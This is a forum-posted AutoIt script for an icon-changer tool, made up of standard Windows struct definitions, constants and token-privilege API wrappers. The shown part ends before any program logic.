Please Login HERE or Register HERE to see this link!
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=..\..\..\Icons\muffin.ico
#AutoIt3Wrapper_Outfile_x64=..\..\..\..\Favoured IconChanger.Exe
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_Compile_Both=y
#AutoIt3Wrapper_UseX64=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region
#EndRegion
Global Const $TAGPOINT = "struct;long X;long Y;endstruct"
Global Const $TAGRECT = "struct;long Left;long Top;long Right;long Bottom;endstruct"
Global Const $TAGSIZE = "struct;long X;long Y;endstruct"
Global Const $TAGMARGINS = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $TAGFILETIME = "struct;dword Lo;dword Hi;endstruct"
Global Const $TAGSYSTEMTIME = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
Global Const $TAGTIME_ZONE_INFORMATION = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
Global Const $TAGNMHDR = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
Global Const $TAGCOMBOBOXEXITEM = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $TAGNMCBEDRAGBEGIN = $TAGNMHDR & ";int ItemID;wchar szText[260]"
Global Const $TAGNMCBEENDEDIT = $TAGNMHDR & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
Global Const $TAGNMCOMBOBOXEX = $TAGNMHDR & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $TAGDTPRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $TAGNMDATETIMECHANGE = $TAGNMHDR & ";dword Flag;" & $TAGSYSTEMTIME
Global Const $TAGNMDATETIMEFORMAT = $TAGNMHDR & ";ptr Format;" & $TAGSYSTEMTIME & ";ptr pDisplay;wchar Display[64]"
Global Const $TAGNMDATETIMEFORMATQUERY = $TAGNMHDR & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
Global Const $TAGNMDATETIMEKEYDOWN = $TAGNMHDR & ";int VirtKey;ptr Format;" & $TAGSYSTEMTIME
Global Const $TAGNMDATETIMESTRING = $TAGNMHDR & ";ptr UserString;" & $TAGSYSTEMTIME & ";dword Flags"
Global Const $TAGEVENTLOGRECORD = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $TAGGDIPBITMAPDATA = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $TAGGDIPENCODERPARAM = "byte GUID[16];ulong Count;ulong Type;ptr Values"
Global Const $TAGGDIPENCODERPARAMS = "uint Count;byte Params[1]"
Global Const $TAGGDIPRECTF = "float X;float Y;float Width;float Height"
Global Const $TAGGDIPSTARTUPINPUT = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $TAGGDIPSTARTUPOUTPUT = "ptr HookProc;ptr UnhookProc"
Global Const $TAGGDIPIMAGECODECINFO = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $TAGGDIPPENCODERPARAMS = "uint Count;byte Params[1]"
Global Const $TAGHDITEM = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $TAGNMHDDISPINFO = $TAGNMHDR & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $TAGNMHDFILTERBTNCLICK = $TAGNMHDR & ";int Item;" & $TAGRECT
Global Const $TAGNMHEADER = $TAGNMHDR & ";int Item;int Button;ptr pItem"
Global Const $TAGGETIPADDRESS = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $TAGNMIPADDRESS = $TAGNMHDR & ";int Field;int Value"
Global Const $TAGLVFINDINFO = "struct;uint Flags;ptr Text;lparam Param;" & $TAGPOINT & ";uint Direction;endstruct"
Global Const $TAGLVHITTESTINFO = $TAGPOINT & ";uint Flags;int Item;int SubItem;int iGroup"
Global Const $TAGLVITEM = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
Global Const $TAGNMLISTVIEW = $TAGNMHDR & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
Global Const $TAGNMLVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword dwDrawStage;handle hdc;" & $TAGRECT & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
Global Const $TAGNMLVDISPINFO = $TAGNMHDR & ";" & $TAGLVITEM
Global Const $TAGNMLVFINDITEM = $TAGNMHDR & ";int Start;" & $TAGLVFINDINFO
Global Const $TAGNMLVGETINFOTIP = $TAGNMHDR & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $TAGNMITEMACTIVATE = $TAGNMHDR & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $TAGPOINT & ";lparam lParam;uint KeyFlags"
Global Const $TAGNMLVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
Global Const $TAGNMLVSCROLL = $TAGNMHDR & ";int DX;int DY"
Global Const $TAGMCHITTESTINFO = "uint Size;" & $TAGPOINT & ";uint Hit;" & $TAGSYSTEMTIME & ";" & $TAGRECT & ";int iOffset;int iRow;int iCol"
Global Const $TAGMCMONTHRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $TAGMCRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $TAGMCSELRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $TAGNMDAYSTATE = $TAGNMHDR & ";" & $TAGSYSTEMTIME & ";int DayState;ptr pDayState"
Global Const $TAGNMSELCHANGE = $TAGNMHDR & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
Global Const $TAGNMOBJECTNOTIFY = $TAGNMHDR & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
Global Const $TAGNMTCKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
Global Const $TAGTVITEM = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
Global Const $TAGTVITEMEX = "struct;" & $TAGTVITEM & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
Global Const $TAGNMTREEVIEW = $TAGNMHDR & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
Global Const $TAGNMTVCUSTOMDRAW = "struct;" & $TAGNMHDR & ";dword DrawStage;handle HDC;" & $TAGRECT & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
Global Const $TAGNMTVDISPINFO = $TAGNMHDR & ";" & $TAGTVITEM
Global Const $TAGNMTVGETINFOTIP = $TAGNMHDR & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $TAGTVHITTESTINFO = $TAGPOINT & ";uint Flags;handle Item"
Global Const $TAGNMTVKEYDOWN = "align 1;" & $TAGNMHDR & ";word VKey;uint Flags"
Global Const $TAGNMMOUSE = $TAGNMHDR & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $TAGPOINT & ";lparam HitInfo"
Global Const $TAGTOKEN_PRIVILEGES = "dword Count;align 4;int64 LUID;dword Attributes"
Global Const $TAGIMAGEINFO = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $TAGRECT
Global Const $TAGMENUINFO = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $TAGMENUITEMINFO = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $TAGREBARBANDINFO = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $TAGRECT & ";uint uChevronState"
Global Const $TAGNMREBARAUTOBREAK = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $TAGNMRBAUTOSIZE = $TAGNMHDR & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
Global Const $TAGNMREBAR = $TAGNMHDR & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
Global Const $TAGNMREBARCHEVRON = $TAGNMHDR & ";uint uBand;uint wID;lparam lParam;" & $TAGRECT & ";lparam lParamNM"
Global Const $TAGNMREBARCHILDSIZE = $TAGNMHDR & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
Global Const $TAGCOLORSCHEME = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $TAGNMTOOLBAR = $TAGNMHDR & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $TAGRECT
Global Const $TAGNMTBHOTITEM = $TAGNMHDR & ";int idOld;int idNew;dword dwFlags"
Global Const $TAGTBBUTTON = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
Global Const $TAGTBBUTTONINFO = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $TAGNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $TAGOVERLAPPED = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
Global Const $TAGOPENFILENAME = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $TAGBITMAPINFO = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
Global Const $TAGBLENDFUNCTION = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $TAGGUID = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
Global Const $TAGWINDOWPLACEMENT = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $TAGWINDOWPOS = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $TAGSCROLLINFO = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
Global Const $TAGSCROLLBARINFO = "dword cbSize;" & $TAGRECT & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $TAGLOGFONT = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
Global Const $TAGKBDLLHOOKSTRUCT = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $TAGPROCESS_INFORMATION = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $TAGSTARTUPINFO = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $TAGSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $TAGWIN32_FIND_DATA = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
Global Const $TAGTEXTMETRIC = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
Global Const $FC_NOOVERWRITE = 0
Global Const $FC_OVERWRITE = 1
Global Const $FT_MODIFIED = 0
Global Const $FT_CREATED = 1
Global Const $FT_ACCESSED = 2
Global Const $FO_READ = 0
Global Const $FO_APPEND = 1
Global Const $FO_OVERWRITE = 2
Global Const $FO_BINARY = 16
Global Const $FO_UNICODE = 32
Global Const $FO_UTF16_LE = 32
Global Const $FO_UTF16_BE = 64
Global Const $FO_UTF8 = 128
Global Const $FO_UTF8_NOBOM = 256
Global Const $EOF = -1
Global Const $FD_FILEMUSTEXIST = 1
Global Const $FD_PATHMUSTEXIST = 2
Global Const $FD_MULTISELECT = 4
Global Const $FD_PROMPTCREATENEW = 8
Global Const $FD_PROMPTOVERWRITE = 16
Global Const $CREATE_NEW = 1
Global Const $CREATE_ALWAYS = 2
Global Const $OPEN_EXISTING = 3
Global Const $OPEN_ALWAYS = 4
Global Const $TRUNCATE_EXISTING = 5
Global Const $INVALID_SET_FILE_POINTER = -1
Global Const $FILE_BEGIN = 0
Global Const $FILE_CURRENT = 1
Global Const $FILE_END = 2
Global Const $FILE_ATTRIBUTE_READONLY = 1
Global Const $FILE_ATTRIBUTE_HIDDEN = 2
Global Const $FILE_ATTRIBUTE_SYSTEM = 4
Global Const $FILE_ATTRIBUTE_DIRECTORY = 16
Global Const $FILE_ATTRIBUTE_ARCHIVE = 32
Global Const $FILE_ATTRIBUTE_DEVICE = 64
Global Const $FILE_ATTRIBUTE_NORMAL = 128
Global Const $FILE_ATTRIBUTE_TEMPORARY = 256
Global Const $FILE_ATTRIBUTE_SPARSE_FILE = 512
Global Const $FILE_ATTRIBUTE_REPARSE_POINT = 1024
Global Const $FILE_ATTRIBUTE_COMPRESSED = 2048
Global Const $FILE_ATTRIBUTE_OFFLINE = 4096
Global Const $FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192
Global Const $FILE_ATTRIBUTE_ENCRYPTED = 16384
Global Const $FILE_SHARE_READ = 1
Global Const $FILE_SHARE_WRITE = 2
Global Const $FILE_SHARE_DELETE = 4
Global Const $GENERIC_ALL = 268435456
Global Const $GENERIC_EXECUTE = 536870912
Global Const $GENERIC_WRITE = 1073741824
Global Const $GENERIC_READ = -2147483648
Global Const $ERROR_NO_TOKEN = 1008
Global Const $SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
Global Const $SE_AUDIT_NAME = "SeAuditPrivilege"
Global Const $SE_BACKUP_NAME = "SeBackupPrivilege"
Global Const $SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
Global Const $SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"
Global Const $SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
Global Const $SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
Global Const $SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
Global Const $SE_DEBUG_NAME = "SeDebugPrivilege"
Global Const $SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"
Global Const $SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"
Global Const $SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
Global Const $SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
Global Const $SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
Global Const $SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
Global Const $SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
Global Const $SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"
Global Const $SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
Global Const $SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
Global Const $SE_RESTORE_NAME = "SeRestorePrivilege"
Global Const $SE_SECURITY_NAME = "SeSecurityPrivilege"
Global Const $SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
Global Const $SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"
Global Const $SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
Global Const $SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
Global Const $SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
Global Const $SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
Global Const $SE_TCB_NAME = "SeTcbPrivilege"
Global Const $SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
Global Const $SE_UNDOCK_NAME = "SeUndockPrivilege"
Global Const $SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1
Global Const $SE_PRIVILEGE_ENABLED = 2
Global Const $SE_PRIVILEGE_REMOVED = 4
Global Const $SE_PRIVILEGE_USED_FOR_ACCESS = -2147483648
Global Const $SE_GROUP_MANDATORY = 1
Global Const $SE_GROUP_ENABLED_BY_DEFAULT = 2
Global Const $SE_GROUP_ENABLED = 4
Global Const $SE_GROUP_OWNER = 8
Global Const $SE_GROUP_USE_FOR_DENY_ONLY = 16
Global Const $SE_GROUP_INTEGRITY = 32
Global Const $SE_GROUP_INTEGRITY_ENABLED = 64
Global Const $SE_GROUP_RESOURCE = 536870912
Global Const $SE_GROUP_LOGON_ID = -1073741824
Global Enum $TOKENPRIMARY = 1, $TOKENIMPERSONATION
Global Enum $SECURITYANONYMOUS = 0, $SECURITYIDENTIFICATION, $SECURITYIMPERSONATION, $SECURITYDELEGATION
Global Enum $TOKENUSER = 1, $TOKENGROUPS, $TOKENPRIVILEGES, $TOKENOWNER, $TOKENPRIMARYGROUP, $TOKENDEFAULTDACL, $TOKENSOURCE, $TOKENTYPE, $TOKENIMPERSONATIONLEVEL, $TOKENSTATISTICS, $TOKENRESTRICTEDSIDS, $TOKENSESSIONID, $TOKENGROUPSANDPRIVILEGES, $TOKENSESSIONREFERENCE, $TOKENSANDBOXINERT, $TOKENAUDITPOLICY, $TOKENORIGIN, $TOKENELEVATIONTYPE, $TOKENLINKEDTOKEN, $TOKENELEVATION, $TOKENHASRESTRICTIONS, $TOKENACCESSINFORMATION, $TOKENVIRTUALIZATIONALLOWED, $TOKENVIRTUALIZATIONENABLED, $TOKENINTEGRITYLEVEL, $TOKENUIACCESS, $TOKENMANDATORYPOLICY, $TOKENLOGONSID
Global Const $TOKEN_ASSIGN_PRIMARY = 1
Global Const $TOKEN_DUPLICATE = 2
Global Const $TOKEN_IMPERSONATE = 4
Global Const $TOKEN_QUERY = 8
Global Const $TOKEN_QUERY_SOURCE = 16
Global Const $TOKEN_ADJUST_PRIVILEGES = 32
Global Const $TOKEN_ADJUST_GROUPS = 64
Global Const $TOKEN_ADJUST_DEFAULT = 128
Global Const $TOKEN_ADJUST_SESSIONID = 256
Global Const $TOKEN_ALL_ACCESS = 983551
Global Const $TOKEN_READ = 131080
Global Const $TOKEN_WRITE = 131296
Global Const $TOKEN_EXECUTE = 131072
Global Const $TOKEN_HAS_TRAVERSE_PRIVILEGE = 1
Global Const $TOKEN_HAS_BACKUP_PRIVILEGE = 2
Global Const $TOKEN_HAS_RESTORE_PRIVILEGE = 4
Global Const $TOKEN_HAS_ADMIN_GROUP = 8
Global Const $TOKEN_IS_RESTRICTED = 16
Global Const $TOKEN_SESSION_NOT_REFERENCED = 32
Global Const $TOKEN_SANDBOX_INERT = 64
Global Const $TOKEN_HAS_IMPERSONATE_PRIVILEGE = 128
Global Const $RIGHTS_DELETE = 65536
Global Const $READ_CONTROL = 131072
Global Const $WRITE_DAC = 262144
Global Const $WRITE_OWNER = 524288
Global Const $SYNCHRONIZE = 1048576
Global Const $STANDARD_RIGHTS_REQUIRED = 983040
Global Const $STANDARD_RIGHTS_READ = $READ_CONTROL
Global Const $STANDARD_RIGHTS_WRITE = $READ_CONTROL
Global Const $STANDARD_RIGHTS_EXECUTE = $READ_CONTROL
Global Const $STANDARD_RIGHTS_ALL = 2031616
Global Const $SPECIFIC_RIGHTS_ALL = 65535
Global Enum $NOT_USED_ACCESS = 0, $GRANT_ACCESS, $SET_ACCESS, $DENY_ACCESS, $REVOKE_ACCESS, $SET_AUDIT_SUCCESS, $SET_AUDIT_FAILURE
Global Enum $TRUSTEE_IS_UNKNOWN = 0, $TRUSTEE_IS_USER, $TRUSTEE_IS_GROUP, $TRUSTEE_IS_DOMAIN, $TRUSTEE_IS_ALIAS, $TRUSTEE_IS_WELL_KNOWN_GROUP, $TRUSTEE_IS_DELETED, $TRUSTEE_IS_INVALID, $TRUSTEE_IS_COMPUTER
Global Const $LOGON_WITH_PROFILE = 1
Global Const $LOGON_NETCREDENTIALS_ONLY = 2
Global Enum $SIDTYPEUSER = 1, $SIDTYPEGROUP, $SIDTYPEDOMAIN, $SIDTYPEALIAS, $SIDTYPEWELLKNOWNGROUP, $SIDTYPEDELETEDACCOUNT, $SIDTYPEINVALID, $SIDTYPEUNKNOWN, $SIDTYPECOMPUTER, $SIDTYPELABEL
Global Const $SID_ADMINISTRATORS = "S-1-5-32-544"
Global Const $SID_USERS = "S-1-5-32-545"
Global Const $SID_GUESTS = "S-1-5-32-546"
Global Const $SID_ACCOUNT_OPERATORS = "S-1-5-32-548"
Global Const $SID_SERVER_OPERATORS = "S-1-5-32-549"
Global Const $SID_PRINT_OPERATORS = "S-1-5-32-550"
Global Const $SID_BACKUP_OPERATORS = "S-1-5-32-551"
Global Const $SID_REPLICATOR = "S-1-5-32-552"
Global Const $SID_OWNER = "S-1-3-0"
Global Const $SID_EVERYONE = "S-1-1-0"
Global Const $SID_NETWORK = "S-1-5-2"
Global Const $SID_INTERACTIVE = "S-1-5-4"
Global Const $SID_SYSTEM = "S-1-5-18"
Global Const $SID_AUTHENTICATED_USERS = "S-1-5-11"
Global Const $SID_SCHANNEL_AUTHENTICATION = "S-1-5-64-14"
Global Const $SID_DIGEST_AUTHENTICATION = "S-1-5-64-21"
Global Const $SID_NT_SERVICE = "S-1-5-80"
Global Const $SID_UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0"
Global Const $SID_LOW_MANDATORY_LEVEL = "S-1-16-4096"
Global Const $SID_MEDIUM_MANDATORY_LEVEL = "S-1-16-8192"
Global Const $SID_MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448"
Global Const $SID_HIGH_MANDATORY_LEVEL = "S-1-16-12288"
Global Const $SID_SYSTEM_MANDATORY_LEVEL = "S-1-16-16384"
Global Const $SID_PROTECTED_PROCESS_MANDATORY_LEVEL = "S-1-16-20480"
Global Const $SID_SECURE_PROCESS_MANDATORY_LEVEL = "S-1-16-28672"
Global Const $SID_ALL_SERVICES = "S-1-5-80-0"
Func _WinAPI_GetLastError($CURERR = @error, $CUREXT = @extended)
Local $ARESULT = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($CURERR, $CUREXT, $ARESULT[0])
EndFunc ;==>_WinAPI_GetLastError
Func _WinAPI_SetLastError($IERRCODE, $CURERR = @error, $CUREXT = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $IERRCODE)
Return SetError($CURERR, $CUREXT)
EndFunc ;==>_WinAPI_SetLastError
Func _Security__AdjustTokenPrivileges($HTOKEN, $FDISABLEALL, $PNEWSTATE, $IBUFFERLEN, $PPREVSTATE = 0, $PREQUIRED = 0)
Local $ACALL = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $HTOKEN, "bool", $FDISABLEALL, "struct*", $PNEWSTATE, "dword", $IBUFFERLEN, "struct*", $PPREVSTATE, "struct*", $PREQUIRED)
If @error Then Return SetError(1, @extended, False)
Return Not ($ACALL[0] = 0)
EndFunc ;==>_Security__AdjustTokenPrivileges
Func _Security__CreateProcessWithToken($HTOKEN, $ILOGONFLAGS, $SCOMMANDLINE, $ICREATIONFLAGS, $SCURDIR, $TSTARTUPINFO, $TPROCESS_INFORMATION)
Local $ACALL = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $HTOKEN, "dword", $ILOGONFLAGS, "ptr", 0, "wstr", $SCOMMANDLINE, "dword", $ICREATIONFLAGS, "struct*", 0, "wstr", $SCURDIR, "struct*", $TSTARTUPINFO, "struct*", $TPROCESS_INFORMATION)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, False)
Return True
EndFunc ;==>_SECURITY__CREATEPROCESSWITHTOKEN
Func _Security__DuplicateTokenEx($HEXISTINGTOKEN, $IDESIREDACCESS, $IIMPERSONATIONLEVEL, $ITOKENTYPE)
Local $ACALL = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $HEXISTINGTOKEN, "dword", $IDESIREDACCESS, "struct*", 0, "int", $IIMPERSONATIONLEVEL, "int", $ITOKENTYPE, "handle*", 0)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Return $ACALL[6]
EndFunc ;==>_SECURITY__DUPLICATETOKENEX
Func _Security__GetAccountSid($SACCOUNT, $SSYSTEM = "")
Local $AACCT = _Security__LookupAccountName($SACCOUNT, $SSYSTEM)
If @error Then Return SetError(@error, @extended, 0)
If IsArray($AACCT) Then Return _Security__StringSidToSid($AACCT[0])
Return ""
EndFunc ;==>_Security__GetAccountSid
Func _Security__GetLengthSid($PSID)
If Not _Security__IsValidSid($PSID) Then Return SetError(1, @extended, 0)
Local $ACALL = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $PSID)
If @error Then Return SetError(2, @extended, 0)
Return $ACALL[0]
EndFunc ;==>_Security__GetLengthSid
Func _Security__GetTokenInformation($HTOKEN, $ICLASS)
Local $ACALL = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $HTOKEN, "int", $ICLASS, "struct*", 0, "dword", 0, "dword*", 0)
If @error Or Not $ACALL[5] Then Return SetError(1, @extended, 0)
Local $ILEN = $ACALL[5]
Local $TBUFFER = DllStructCreate("byte[" & $ILEN & "]")
$ACALL = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $HTOKEN, "int", $ICLASS, "struct*", $TBUFFER, "dword", DllStructGetSize($TBUFFER), "dword*", 0)
If @error Or Not $ACALL[0] Then Return SetError(2, @extended, 0)
Return $TBUFFER
EndFunc ;==>_Security__GetTokenInformation
